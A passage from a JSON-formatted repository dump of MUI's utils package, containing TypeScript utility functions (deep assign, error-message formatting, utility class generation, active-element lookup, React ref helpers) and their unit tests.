    "content": "// Based on https://github.com/TehShrike/deepmerge\n// Based on https://github.com/fastify/deepmerge\n// MIT License\n// Copyright (c) 2012 - 2022 James Halliday, Josh Duff, and other contributors of deepmerge\n\n/* eslint-disable guard-for-in */\n/* eslint-disable no-else-return */\n\n/**\n * Assigns props from one object to another. Focused on performance, only normal objects with no\n * prototype are supported.\n */\nexport default function fastDeepAssign<T extends Record<string, any>>(target: T, source: any) {\n  const sourceIsArray = Array.isArray(source);\n  const targetIsArray = Array.isArray(target);\n\n  if (isPrimitive(source)) {\n    return source;\n  } else if (isPrimitiveOrBuiltIn(target)) {\n    return clone(source);\n  } else if (sourceIsArray && targetIsArray) {\n    return mergeArray(target, source);\n  } else if (sourceIsArray !== targetIsArray) {\n    return clone(source);\n  } else {\n    return mergeObject(target, source);\n  }\n}\n\nfunction cloneArray(value: any[]) {\n  let i = 0;\n  const il = value.length;\n  const result = new Array(il);\n  for (i = 0; i < il; i += 1) {\n    result[i] = clone(value[i]);\n  }\n  return result;\n}\n\nfunction cloneObject(target: any) {\n  const result = {} as any;\n\n  for (const key in target) {\n    result[key] = clone(target[key]);\n  }\n  return result;\n}\n\nfunction mergeArray(target: any[], source: any[]) {\n  const tl = target.length;\n  for (let i = 0; i < source.length; i += 1) {\n    target[tl + i] = clone(source[i]);\n  }\n  return target;\n}\n\nfunction isMergeableObject(value: any) {\n  return (\n    typeof value === 'object' &&\n    value !== null &&\n    !(value instanceof RegExp) &&\n    !(value instanceof Date)\n  );\n}\n\nfunction isPrimitive(value: any) {\n  return typeof value !== 'object' || value === null;\n}\n\nfunction isPrimitiveOrBuiltIn(value: any) {\n  return (\n    typeof value !== 'object' || value === null || value instanceof RegExp || value instanceof Date\n  );\n}\n\nfunction clone(entry: any) {\n  // eslint-disable-next-line no-nested-ternary\n  return isMergeableObject(entry)\n    ? Array.isArray(entry)\n      ? cloneArray(entry)\n      : cloneObject(entry)\n    : entry;\n}\n\nfunction mergeObject(target: any, source: any) {\n  for (const key in source) {\n    if (key in target) {\n      target[key] = fastDeepAssign(target[key], source[key]);\n    } else {\n      target[key] = clone(source[key]);\n    }\n  }\n\n  return target;\n}\n"
  },
  {
    "path": "packages/mui-utils/src/fastDeepAssign/index.ts",
    "content": "export { default } from './fastDeepAssign';\n"
  },
  {
    "path": "packages/mui-utils/src/formatMuiErrorMessage/formatMuiErrorMessage.ts",
    "content": "/**\n * WARNING: Don't import this directly. It's imported by the code generated by\n * `@mui/interal-babel-plugin-minify-errors`. Make sure to always use string literals in `Error`\n * constructors to ensure the plugin works as expected. Supported patterns include:\n *   throw new Error('My message');\n *   throw new Error(`My message: ${foo}`);\n *   throw new Error(`My message: ${foo}` + 'another string');\n *   ...\n * @param {number} code\n */\nexport default function formatMuiErrorMessage(code: number, ...args: string[]): string {\n  const url = new URL(`https://mui.com/production-error/?code=${code}`);\n  args.forEach((arg) => url.searchParams.append('args[]', arg));\n  return `Minified MUI error #${code}; visit ${url} for the full message.`;\n}\n"
  },
  {
    "path": "packages/mui-utils/src/formatMuiErrorMessage/index.ts",
    "content": "export { default } from './formatMuiErrorMessage';\n"
  },
  {
    "path": "packages/mui-utils/src/generateUtilityClass/generateUtilityClass.test.ts",
    "content": "import { expect } from 'chai';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\nimport ClassNameGenerator from '@mui/utils/ClassNameGenerator';\n\ndescribe('generateUtilityClass', () => {\n  it('should generate the class correctly', () => {\n    expect(generateUtilityClass('MuiTest', 'slot')).to.equal('MuiTest-slot');\n  });\n\n  it('should consider if slot should generate state class', () => {\n    expect(generateUtilityClass('MuiTest', 'active')).to.equal('Mui-active');\n    expect(generateUtilityClass('MuiTest', 'checked')).to.equal('Mui-checked');\n    expect(generateUtilityClass('MuiTest', 'disabled')).to.equal('Mui-disabled');\n    expect(generateUtilityClass('MuiTest', 'readOnly')).to.equal('Mui-readOnly');\n    expect(generateUtilityClass('MuiTest', 'error')).to.equal('Mui-error');\n    expect(generateUtilityClass('MuiTest', 'focused')).to.equal('Mui-focused');\n    expect(generateUtilityClass('MuiTest', 'focusVisible')).to.equal('Mui-focusVisible');\n    expect(generateUtilityClass('MuiTest', 'required')).to.equal('Mui-required');\n    expect(generateUtilityClass('MuiTest', 'expanded')).to.equal('Mui-expanded');\n    expect(generateUtilityClass('MuiTest', 'selected')).to.equal('Mui-selected');\n  });\n\n  describe('ClassNameGenerator', () => {\n    afterEach(() => {\n      ClassNameGenerator.reset();\n    });\n\n    it('able to set custom generator', () => {\n      const generator = (name: string) => `foo-bar-${name}`;\n      ClassNameGenerator.configure(generator);\n\n      expect(generateUtilityClass('MuiTest', 'slot')).to.equal('foo-bar-MuiTest-slot');\n    });\n\n    it('does not affect state class', () => {\n      const generator = (name: string) => `foo-bar-${name}`;\n      ClassNameGenerator.configure(generator);\n\n      expect(generateUtilityClass('MuiTest', 'active')).to.equal('Mui-active');\n      expect(generateUtilityClass('MuiTest', 'checked')).to.equal('Mui-checked');\n      expect(generateUtilityClass('MuiTest', 'disabled')).to.equal('Mui-disabled');\n      expect(generateUtilityClass('MuiTest', 'readOnly')).to.equal('Mui-readOnly');\n      expect(generateUtilityClass('MuiTest', 'error')).to.equal('Mui-error');\n      expect(generateUtilityClass('MuiTest', 'focused')).to.equal('Mui-focused');\n      expect(generateUtilityClass('MuiTest', 'focusVisible')).to.equal('Mui-focusVisible');\n      expect(generateUtilityClass('MuiTest', 'required')).to.equal('Mui-required');\n      expect(generateUtilityClass('MuiTest', 'expanded')).to.equal('Mui-expanded');\n      expect(generateUtilityClass('MuiTest', 'selected')).to.equal('Mui-selected');\n    });\n  });\n\n  it('custom state prefix', () => {\n    expect(generateUtilityClass('JoyButton', 'focusVisible', 'Joy')).to.equal('Joy-focusVisible');\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/generateUtilityClass/generateUtilityClass.ts",
    "content": "import ClassNameGenerator from '../ClassNameGenerator';\n\nexport type GlobalStateSlot = keyof typeof globalStateClasses;\n\nexport const globalStateClasses = {\n  active: 'active',\n  checked: 'checked',\n  completed: 'completed',\n  disabled: 'disabled',\n  error: 'error',\n  expanded: 'expanded',\n  focused: 'focused',\n  focusVisible: 'focusVisible',\n  open: 'open',\n  readOnly: 'readOnly',\n  required: 'required',\n  selected: 'selected',\n};\n\nexport default function generateUtilityClass(\n  componentName: string,\n  slot: string,\n  globalStatePrefix = 'Mui',\n): string {\n  const globalStateClass = globalStateClasses[slot as GlobalStateSlot];\n  return globalStateClass\n    ? `${globalStatePrefix}-${globalStateClass}`\n    : `${ClassNameGenerator.generate(componentName)}-${slot}`;\n}\n\nexport function isGlobalState(slot: string) {\n  return globalStateClasses[slot as GlobalStateSlot] !== undefined;\n}\n"
  },
  {
    "path": "packages/mui-utils/src/generateUtilityClass/index.ts",
    "content": "export { default } from './generateUtilityClass';\nexport * from './generateUtilityClass';\n"
  },
  {
    "path": "packages/mui-utils/src/generateUtilityClasses/generateUtilityClasses.test.ts",
    "content": "import { expect } from 'chai';\nimport generateUtilityClasses from '@mui/utils/generateUtilityClasses';\n\ndescribe('generateUtilityClasses', () => {\n  it('should generate the classes correctly', () => {\n    expect(generateUtilityClasses('MuiTest', ['slot1', 'slot2'])).to.deep.equal({\n      slot1: 'MuiTest-slot1',\n      slot2: 'MuiTest-slot2',\n    });\n  });\n\n  it('should consider if slot should generate state class', () => {\n    expect(\n      generateUtilityClasses('MuiTest', [\n        'slot',\n        'active',\n        'checked',\n        'disabled',\n        'error',\n        'focused',\n        'focusVisible',\n        'required',\n        'expanded',\n        'selected',\n      ]),\n    ).to.deep.equal({\n      slot: 'MuiTest-slot',\n      active: 'Mui-active',\n      checked: 'Mui-checked',\n      disabled: 'Mui-disabled',\n      error: 'Mui-error',\n      focused: 'Mui-focused',\n      focusVisible: 'Mui-focusVisible',\n      required: 'Mui-required',\n      expanded: 'Mui-expanded',\n      selected: 'Mui-selected',\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/generateUtilityClasses/generateUtilityClasses.ts",
    "content": "import generateUtilityClass from '../generateUtilityClass';\n\nexport default function generateUtilityClasses<T extends string>(\n  componentName: string,\n  slots: T[],\n  globalStatePrefix = 'Mui',\n): Record<T, string> {\n  const result: Record<string, string> = {};\n\n  slots.forEach((slot) => {\n    result[slot] = generateUtilityClass(componentName, slot, globalStatePrefix);\n  });\n\n  return result;\n}\n"
  },
  {
    "path": "packages/mui-utils/src/generateUtilityClasses/index.ts",
    "content": "export { default } from './generateUtilityClasses';\n"
  },
  {
    "path": "packages/mui-utils/src/getActiveElement/getActiveElement.test.ts",
    "content": "import { expect } from 'chai';\nimport { stub } from 'sinon';\nimport getActiveElement from './getActiveElement';\n\ndescribe('getActiveElement', () => {\n  it('should return the active element from document', () => {\n    const button = document.createElement('button');\n    document.body.appendChild(button);\n    button.focus();\n\n    const activeElement = getActiveElement(document);\n    expect(activeElement).to.equal(button);\n\n    document.body.removeChild(button);\n  });\n\n  it('should return null when no element has focus', () => {\n    const activeElementStub = stub(document, 'activeElement').get(() => null);\n\n    const activeElement = getActiveElement(document);\n    expect(activeElement).to.equal(null);\n\n    activeElementStub.restore();\n  });\n\n  it('should traverse shadow roots to find the actual focused element', () => {\n    // Create a shadow host\n    const host = document.createElement('div');\n    document.body.appendChild(host);\n    const shadowRoot = host.attachShadow({ mode: 'open' });\n\n    // Create an element inside the shadow root\n    const button = document.createElement('button');\n    shadowRoot.appendChild(button);\n    button.focus();\n\n    // document.activeElement should point to the host\n    expect(document.activeElement).to.equal(host);\n\n    // getActiveElement should traverse into the shadow root\n    const activeElement = getActiveElement(document);\n    expect(activeElement).to.equal(button);\n\n    document.body.removeChild(host);\n  });\n\n  it('should handle nested shadow roots', () => {\n    // Create outer shadow host\n    const outerHost = document.createElement('div');\n    document.body.appendChild(outerHost);\n    const outerShadowRoot = outerHost.attachShadow({ mode: 'open' });\n\n    // Create inner shadow host inside outer shadow root\n    const innerHost = document.createElement('div');\n    outerShadowRoot.appendChild(innerHost);\n    const innerShadowRoot = innerHost.attachShadow({ mode: 'open' });\n\n    // Create a button inside the inner shadow root\n    const button = document.createElement('button');\n    innerShadowRoot.appendChild(button);\n    button.focus();\n\n    // document.activeElement should point to the outer host\n    expect(document.activeElement).to.equal(outerHost);\n\n    // getActiveElement should traverse through both shadow roots\n    const activeElement = getActiveElement(document);\n    expect(activeElement).to.equal(button);\n\n    document.body.removeChild(outerHost);\n  });\n\n  it('should return the element inside shadow root when it has focus', () => {\n    const host = document.createElement('div');\n    document.body.appendChild(host);\n    const shadowRoot = host.attachShadow({ mode: 'open' });\n\n    const button = document.createElement('button');\n    shadowRoot.appendChild(button);\n    button.focus();\n\n    const activeElement = getActiveElement(document);\n    expect(activeElement).to.equal(button);\n\n    document.body.removeChild(host);\n  });\n\n  it('should work when starting from a shadow root', () => {\n    const host = document.createElement('div');\n    document.body.appendChild(host);\n    const shadowRoot = host.attachShadow({ mode: 'open' });\n\n    const button = document.createElement('button');\n    shadowRoot.appendChild(button);\n    button.focus();\n\n    // When called with the shadow root directly\n    const activeElement = getActiveElement(shadowRoot);\n    expect(activeElement).to.equal(button);\n\n    document.body.removeChild(host);\n  });\n\n  it('should handle shadow root with null activeElement', () => {\n    const host = document.createElement('div');\n    document.body.appendChild(host);\n    const shadowRoot = host.attachShadow({ mode: 'open' });\n\n    const activeElementStub = stub(shadowRoot, 'activeElement').get(() => null);\n\n    const activeElement = getActiveElement(shadowRoot);\n    expect(activeElement).to.equal(null);\n\n    activeElementStub.restore();\n    document.body.removeChild(host);\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/getActiveElement/getActiveElement.ts",
    "content": "/**\n * Gets the actual active element, traversing through shadow roots if necessary.\n *\n * When an element inside a shadow root has focus, `document.activeElement` returns\n * the shadow host element. This function recursively traverses shadow roots to find\n * the actual focused element.\n *\n * @param root - The document or shadow root to start the search from.\n * @returns The actual focused element, or null if no element has focus.\n *\n * @example\n * // In a shadow DOM context\n * const activeElement = getActiveElement(document);\n * // Returns the actual focused element inside the shadow root\n *\n * @example\n * // Starting from a specific document\n * const activeElement = getActiveElement(ownerDocument(element));\n */\nexport default function activeElement(doc: Document | ShadowRoot): Element | null {\n  let element = doc.activeElement;\n\n  while (element?.shadowRoot?.activeElement != null) {\n    element = element.shadowRoot.activeElement;\n  }\n\n  return element;\n}\n"
  },
  {
    "path": "packages/mui-utils/src/getActiveElement/index.ts",
    "content": "export { default } from './getActiveElement';\n"
  },
  {
    "path": "packages/mui-utils/src/getDisplayName/getDisplayName.test.tsx",
    "content": "/* eslint-disable react/prefer-stateless-function */\nimport * as React from 'react';\nimport { expect } from 'chai';\nimport getDisplayName from './getDisplayName';\n\ndescribe('utils/getDisplayName.js', () => {\n  describe('getDisplayName', () => {\n    it('gets the display name of a React component', () => {\n      class SomeComponent extends React.Component {\n        render() {\n          return <div />;\n        }\n      }\n\n      class SomeOtherComponent extends React.Component {\n        static displayName = 'CustomDisplayName';\n\n        render() {\n          return <div />;\n        }\n      }\n\n      function YetAnotherComponent() {\n        return <div />;\n      }\n\n      function AndAnotherComponent() {\n        return <div />;\n      }\n\n      const AnonymousForwardRefComponent = React.forwardRef<HTMLDivElement>((props, ref) => (\n        <div {...props} ref={ref} />\n      ));\n\n      const ForwardRefComponent = React.forwardRef<HTMLDivElement>(function Div(props, ref) {\n        return <div {...props} ref={ref} />;\n      });\n\n      const NamedForwardRefComponent = React.forwardRef<HTMLDivElement>((props, ref) => (\n        <div {...props} ref={ref} />\n      ));\n      NamedForwardRefComponent.displayName = 'Div';\n\n      const AnonymousMemoComponent = React.memo((props) => <div {...props} />);\n\n      const MemoComponent = React.memo(function Div(props) {\n        return <div {...props} />;\n      });\n\n      const NamedMemoComponent = React.memo((props) => <div {...props} />);\n      NamedMemoComponent.displayName = 'Div';\n\n      const NamedContext = React.createContext(null);\n      NamedContext.displayName = 'SomeContext';\n\n      expect(getDisplayName(SomeComponent)).to.equal('SomeComponent');\n      expect(getDisplayName(SomeOtherComponent)).to.equal('CustomDisplayName');\n      expect(getDisplayName(YetAnotherComponent)).to.equal('YetAnotherComponent');\n      expect(getDisplayName(AndAnotherComponent)).to.equal('AndAnotherComponent');\n      expect(getDisplayName(() => <div />)).to.equal('Component');\n      expect(getDisplayName('div')).to.equal('div');\n      expect(getDisplayName(AnonymousForwardRefComponent)).to.equal('ForwardRef');\n      expect(getDisplayName(ForwardRefComponent)).to.equal('ForwardRef(Div)');\n      expect(getDisplayName(NamedForwardRefComponent)).to.equal('Div');\n      expect(getDisplayName(AnonymousMemoComponent)).to.equal('memo');\n      expect(getDisplayName(MemoComponent)).to.equal('memo(Div)');\n      expect(getDisplayName(NamedMemoComponent)).to.equal('Div');\n      expect(getDisplayName(NamedContext.Provider)).to.equal(undefined);\n      expect(getDisplayName(NamedContext.Consumer)).to.equal(undefined);\n      // @ts-expect-error\n      expect(getDisplayName()).to.equal(undefined);\n      // @ts-expect-error\n      expect(getDisplayName({})).to.equal(undefined);\n      // @ts-expect-error\n      expect(getDisplayName(false)).to.equal(undefined);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/getDisplayName/getDisplayName.ts",
    "content": "import * as React from 'react';\nimport { ForwardRef, Memo } from 'react-is';\n\nfunction getFunctionComponentName(\n  Component: React.FunctionComponent | React.ComponentClass,\n  fallback = '',\n) {\n  return Component.displayName || Component.name || fallback;\n}\n\nfunction getWrappedName(outerType: any, innerType: any, wrapperName: string) {\n  const functionName = getFunctionComponentName(innerType);\n  return (\n    outerType.displayName || (functionName !== '' ? `${wrapperName}(${functionName})` : wrapperName)\n  );\n}\n\n/**\n * cherry-pick from\n * https://github.com/facebook/react/blob/769b1f270e1251d9dbdce0fcbd9e92e502d059b8/packages/shared/getComponentName.js\n * originally forked from recompose/getDisplayName\n */\nexport default function getDisplayName(Component: React.ElementType): string | undefined {\n  if (Component == null) {\n    return undefined;\n  }\n\n  if (typeof Component === 'string') {\n    return Component;\n  }\n\n  if (typeof Component === 'function') {\n    return getFunctionComponentName(Component, 'Component');\n  }\n\n  // TypeScript can't have components as objects but they exist in the form of `memo` or `Suspense`\n  if (typeof Component === 'object') {\n    switch ((Component as any).$$typeof) {\n      case ForwardRef:\n        return getWrappedName(Component, (Component as any).render, 'ForwardRef');\n      case Memo:\n        return getWrappedName(Component, (Component as any).type, 'memo');\n      default:\n        return undefined;\n    }\n  }\n\n  return undefined;\n}\n"
  },
  {
    "path": "packages/mui-utils/src/getDisplayName/index.ts",
    "content": "export { default } from './getDisplayName';\n"
  },
  {
    "path": "packages/mui-utils/src/getReactElementRef/getReactElementRef.spec.tsx",
    "content": "import getReactElementRef from '@mui/utils/getReactElementRef';\n\n// @ts-expect-error\ngetReactElementRef(false);\n\n// @ts-expect-error\ngetReactElementRef(null);\n\n// @ts-expect-error\ngetReactElementRef(undefined);\n\n// @ts-expect-error\ngetReactElementRef(1);\n\n// @ts-expect-error\ngetReactElementRef([<div key=\"1\" />, <div key=\"2\" />]);\n\ngetReactElementRef(<div />);\n"
  },
  {
    "path": "packages/mui-utils/src/getReactElementRef/getReactElementRef.test.tsx",
    "content": "import { expect } from 'chai';\nimport getReactElementRef from '@mui/utils/getReactElementRef';\nimport * as React from 'react';\n\ndescribe('getReactElementRef', () => {\n  it('should return undefined when not used correctly', () => {\n    // @ts-expect-error\n    expect(getReactElementRef(false)).to.equal(null);\n    // @ts-expect-error\n    expect(getReactElementRef()).to.equal(null);\n    // @ts-expect-error\n    expect(getReactElementRef(1)).to.equal(null);\n\n    const children = [<div key=\"1\" />, <div key=\"2\" />];\n    // @ts-expect-error\n    expect(getReactElementRef(children)).to.equal(null);\n  });\n\n  it('should return the ref of a React element', () => {\n    const ref = React.createRef<HTMLDivElement>();\n    const element = <div ref={ref} />;\n    expect(getReactElementRef(element)).to.equal(ref);\n  });\n\n  it('should return null for a fragment', () => {\n    const element = (\n      <React.Fragment>\n        <p>Hello</p>\n        <p>Hello</p>\n      </React.Fragment>\n    );\n    expect(getReactElementRef(element)).to.equal(null);\n  });\n\n  it('should return null for element with no ref', () => {\n    const element = <div />;\n    expect(getReactElementRef(element)).to.equal(null);\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/getReactElementRef/getReactElementRef.ts",
    "content": "import * as React from 'react';\n\n/**\n * Returns the ref of a React element handling differences between React 19 and older versions.\n * It will throw runtime error if the element is not a valid React element.\n *\n * @param element React.ReactElement\n * @returns React.Ref<any> | null\n */\nexport default function getReactElementRef(element: React.ReactElement): React.Ref<any> | null {\n  // 'ref' is passed as prop in React 19, whereas 'ref' is directly attached to children in older versions\n  if (parseInt(React.version, 10) >= 19) {\n    return (element?.props as any)?.ref || null;\n  }\n  // @ts-expect-error element.ref is not included in the ReactElement type\n  // https://github.com/DefinitelyTyped/DefinitelyTyped/discussions/70189\n  return element?.ref || null;\n}\n"
  },
  {
    "path": "packages/mui-utils/src/getReactElementRef/index.ts",
    "content": "export { default } from './getReactElementRef';\n"
  },
  {
    "path": "packages/mui-utils/src/getReactNodeRef/getReactNodeRef.ts",
    "content": "import * as React from 'react';\n\n/**\n * Returns the ref of a React node handling differences between React 19 and older versions.\n * It will return null if the node is not a valid React element.\n *\n * @param element React.ReactNode\n * @returns React.Ref<any> | null\n *\n * @deprecated Use getReactElementRef instead\n */\nexport default function getReactNodeRef(element: React.ReactNode): React.Ref<any> | null {\n  if (!element || !React.isValidElement(element)) {\n    return null;\n  }\n\n  // 'ref' is passed as prop in React 19, whereas 'ref' is directly attached to children in older versions\n  return (element.props as any).propertyIsEnumerable('ref')\n    ? (element.props as any).ref\n    : // @ts-expect-error element.ref is not included in the ReactElement type\n      // We cannot check for it, but isValidElement is true at this point\n      // https://github.com/DefinitelyTyped/DefinitelyTyped/discussions/70189\n      element.ref;\n}\n"
  },
  {
    "path": "packages/mui-utils/src/getReactNodeRef/index.ts",
    "content": "export { default } from './getReactNodeRef';\n"
  },
  {
    "path": "packages/mui-utils/src/getScrollbarSize/getScrollbarSize.test.ts",
    "content": "import { expect } from 'chai';\nimport { isJsdom } from '@mui/internal-test-utils/env';\nimport getScrollbarSize from './getScrollbarSize';\n\ndescribe('getScrollbarSize', () => {\n  let styleElement: HTMLElement;\n  let divElement: HTMLElement;\n\n  beforeEach(() => {\n    styleElement = document.createElement('style');\n    divElement = document.createElement('div');\n  });\n\n  afterEach(() => {\n    styleElement.parentElement?.removeChild(styleElement);\n    divElement.parentElement?.removeChild(divElement);\n  });\n\n  it.skipIf(isJsdom() || !/WebKit/.test(window.navigator.userAgent))(\n    'should return correct value when using a custom scrollbar',\n    function test() {\n      styleElement.textContent = `\n      ::-webkit-scrollbar {\n        width: 5px;\n      }\n    `;\n      document.head.appendChild(styleElement);\n      divElement.style.height = '2000px';\n      document.body.appendChild(divElement);\n      expect(getScrollbarSize(window)).to.equal(5);\n    },\n  );\n});\n"
  },
  {
    "path": "packages/mui-utils/src/getScrollbarSize/getScrollbarSize.ts",
    "content": "// A change of the browser zoom change the scrollbar size.\n// Credit https://github.com/twbs/bootstrap/blob/488fd8afc535ca3a6ad4dc581f5e89217b6a36ac/js/src/util/scrollbar.js#L14-L18\nexport default function getScrollbarSize(win: Window = window): number {\n  // https://developer.mozilla.org/en-US/docs/Web/API/Window/innerWidth#usage_notes\n  const documentWidth = win.document.documentElement.clientWidth;\n  return win.innerWidth - documentWidth;\n}\n"
  },
  {
    "path": "packages/mui-utils/src/getScrollbarSize/index.ts",
    "content": "export { default } from './getScrollbarSize';\n"
  },
  {
    "path": "packages/mui-utils/src/getValidReactChildren/getValidReactChildren.ts",
    "content": "import * as React from 'react';\n\n/**\n * Gets only the valid children of a component,\n * and ignores any nullish or falsy child.\n *\n * @param children the children\n */\nexport default function getValidReactChildren(children: React.ReactNode) {\n  return React.Children.toArray(children).filter((child) =>\n    React.isValidElement(child),\n  ) as React.ReactElement<unknown>[];\n}\n"
  },
  {
    "path": "packages/mui-utils/src/getValidReactChildren/index.ts",
    "content": "export { default } from './getValidReactChildren';\n"
  },
  {
    "path": "packages/mui-utils/src/index.ts",
    "content": "export { default as chainPropTypes } from './chainPropTypes';\nexport { default as deepmerge } from './deepmerge';\nexport { isPlainObject } from './deepmerge';\nexport { default as elementAcceptingRef } from './elementAcceptingRef';\nexport { default as elementTypeAcceptingRef } from './elementTypeAcceptingRef';\nexport { default as exactProp } from './exactProp';\nexport { default as formatMuiErrorMessage } from './formatMuiErrorMessage';\nexport { default as unstable_getActiveElement } from './getActiveElement';\nexport { default as getDisplayName } from './getDisplayName';\nexport { default as HTMLElementType } from './HTMLElementType';\nexport { default as ponyfillGlobal } from './ponyfillGlobal';\nexport { default as refType } from './refType';\nexport { default as unstable_capitalize } from './capitalize';\nexport { default as unstable_createChainedFunction } from './createChainedFunction';\nexport { default as unstable_debounce } from './debounce';\nexport { default as unstable_deprecatedPropType } from './deprecatedPropType';\nexport { default as unstable_fastDeepAssign } from './fastDeepAssign';\nexport { default as unstable_isObjectEmpty } from './isObjectEmpty';\nexport { default as unstable_isMuiElement } from './isMuiElement';\nexport { default as unstable_ownerDocument } from './ownerDocument';\nexport { default as unstable_ownerWindow } from './ownerWindow';\nexport { default as unstable_requirePropFactory } from './requirePropFactory';\nexport { default as unstable_setRef } from './setRef';\nexport { default as unstable_useEnhancedEffect } from './useEnhancedEffect';\nexport { default as unstable_useId } from './useId';\nexport { default as unstable_unsupportedProp } from './unsupportedProp';\nexport { default as unstable_useControlled } from './useControlled';\nexport { default as unstable_useEventCallback } from './useEventCallback';\nexport { default as unstable_useForkRef } from './useForkRef';\nexport { default as unstable_useLazyRef } from './useLazyRef';\nexport { default as unstable_useTimeout, Timeout as unstable_Timeout } from './useTimeout';\nexport { default as unstable_useOnMount } from './useOnMount';\nexport { default as unstable_useIsFocusVisible } from './useIsFocusVisible';\nexport { default as unstable_isFocusVisible } from './isFocusVisible';\nexport { default as unstable_getScrollbarSize } from './getScrollbarSize';\nexport { default as usePreviousProps } from './usePreviousProps';\nexport { default as getValidReactChildren } from './getValidReactChildren';\nexport { default as visuallyHidden } from './visuallyHidden';\nexport { default as integerPropType } from './integerPropType';\nexport { default as internal_resolveProps } from './resolveProps';\nexport { default as unstable_composeClasses } from './composeClasses';\nexport { default as unstable_generateUtilityClass } from './generateUtilityClass';\nexport { isGlobalState as unstable_isGlobalState } from './generateUtilityClass';\nexport * from './generateUtilityClass';\nexport { default as unstable_generateUtilityClasses } from './generateUtilityClasses';\nexport { default as unstable_ClassNameGenerator } from './ClassNameGenerator';\nexport { default as clamp } from './clamp';\nexport { default as unstable_useSlotProps } from './useSlotProps';\nexport type { UseSlotPropsParameters, UseSlotPropsResult } from './useSlotProps';\nexport { default as unstable_resolveComponentProps } from './resolveComponentProps';\nexport { default as unstable_extractEventHandlers } from './extractEventHandlers';\nexport { default as unstable_getReactNodeRef } from './getReactNodeRef';\nexport { default as unstable_getReactElementRef } from './getReactElementRef';\nexport { default as unstable_useRovingTabIndex } from './useRovingTabIndex';\nexport * from './types';\n"
  },
  {
    "path": "packages/mui-utils/src/integerPropType/index.ts",
    "content": "export { default } from './integerPropType';\nexport * from './integerPropType';\n"
  },
  {
    "path": "packages/mui-utils/src/integerPropType/integerPropType.test.tsx",
    "content": "/* eslint-disable react/no-unknown-property */\nimport { expect } from 'chai';\nimport PropTypes from 'prop-types';\nimport integerPropType from '@mui/utils/integerPropType';\nimport { getTypeByValue } from './integerPropType';\n\ndescribe('integerPropType', () => {\n  const location = '';\n  const componentName = 'DummyComponent';\n\n  function checkPropType(props: Record<string, any>, propName: string, required: boolean): void {\n    PropTypes.checkPropTypes(\n      {\n        [propName]: required ? integerPropType.isRequired : integerPropType,\n      },\n      props,\n      '',\n      'DummyComponent',\n    );\n  }\n\n  function assertPass(\n    { props }: { props: Record<string, any> },\n    propName: string,\n    required = false,\n  ): void {\n    expect(() => {\n      checkPropType(props, propName, required);\n    }).not.toErrorDev();\n  }\n\n  function assertFail(\n    { props }: { props: Record<string, any> },\n    propName: string,\n    required = false,\n  ): void {\n    const propType = getTypeByValue(props[propName]);\n    const errorMessage = `Warning: Failed  type: Invalid ${location} \\`${propName}\\` of type \\`${propType}\\` supplied to \\`${componentName}\\`, expected \\`integer\\`.`;\n\n    expect(() => {\n      checkPropType(props, propName, required);\n    }).toErrorDev(errorMessage);\n  }\n\n  describe('passes on undefined but fails on null value', () => {\n    beforeEach(() => {\n      PropTypes.resetWarningCache();\n    });\n\n    it('passes on undefined', () => {\n      // @ts-expect-error div doesn't have an a prop\n      assertPass(<div a={undefined} />, 'a');\n    });\n\n    it('fails on null', () => {\n      // @ts-expect-error div doesn't have an a prop\n      assertFail(<div a={null} />, 'a');\n    });\n  });\n\n  // @ts-expect-error div doesn't have an a prop\n  it('passes on zero', () => assertPass(<div a={0} />, 'a'));\n\n  it('passes on positive numbers', () => {\n    // @ts-expect-error div doesn't have an a prop\n    assertPass(<div a={42} />, 'a');\n  });\n\n  describe('passes with the conversion before passing', () => {\n    it('passes with conversion - parseInt', () => {\n      // @ts-expect-error div doesn't have an a prop\n      assertPass(<div a={parseInt('1.1', 10)} />, 'a');\n    });\n\n    it('passes with the conversion - Math.floor', () => {\n      // @ts-expect-error div doesn't have an a prop\n      assertPass(<div a={Math.floor(1.1)} />, 'a');\n    });\n\n    it('passes with the boolean conversion', () => {\n      // @ts-expect-error div doesn't have an a prop\n      // eslint-disable-next-line no-bitwise\n      assertPass(<div a={1.1 | 0} />, 'a');\n    });\n  });\n\n  it('passes on negative numbers', () => {\n    // @ts-expect-error div doesn't have an a prop\n    assertPass(<div a={-42} />, 'a');\n  });\n\n  describe('fails on non-integers', () => {\n    beforeEach(() => {\n      PropTypes.resetWarningCache();\n    });\n\n    it('fails when we pass float number', () => {\n      // @ts-expect-error div doesn't have an a prop\n      assertFail(<div a={1.5} />, 'a');\n    });\n\n    it('fails when have been made computation which results in float number', () => {\n      // @ts-expect-error div doesn't have an a prop\n      assertFail(<div a={(0.1 + 0.2) * 10} />, 'a');\n    });\n\n    it('fails on string', () => {\n      // @ts-expect-error div doesn't have an a prop\n      assertFail(<div a={'a message'} />, 'a');\n    });\n\n    it('fails on boolean', () => {\n      // @ts-expect-error div doesn't have an a prop\n      assertFail(<div a={false} />, 'a');\n    });\n\n    it('fails on array', () => {\n      // @ts-expect-error div doesn't have an a prop\n      assertFail(<div a={[]} />, 'a');\n    });\n  });\n\n  describe('fails on number edge cases', () => {\n    it('fails on infinity', () => {\n      // @ts-expect-error div doesn't have an a prop\n      assertFail(<div a={Infinity} />, 'a');\n    });\n\n    it('fails on NaN', () => {\n      // @ts-expect-error div doesn't have an a prop\n      assertFail(<div a={NaN} />, 'a');\n    });\n  });\n\n  describe('isRequired', () => {\n    beforeEach(() => {\n      PropTypes.resetWarningCache();\n    });\n\n    it('passes when not required', () => {\n      assertPass(<div />, 'a');\n    });\n\n    it('fails when required', () => {\n      assertFail(<div />, 'a', true);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/integerPropType/integerPropType.ts",
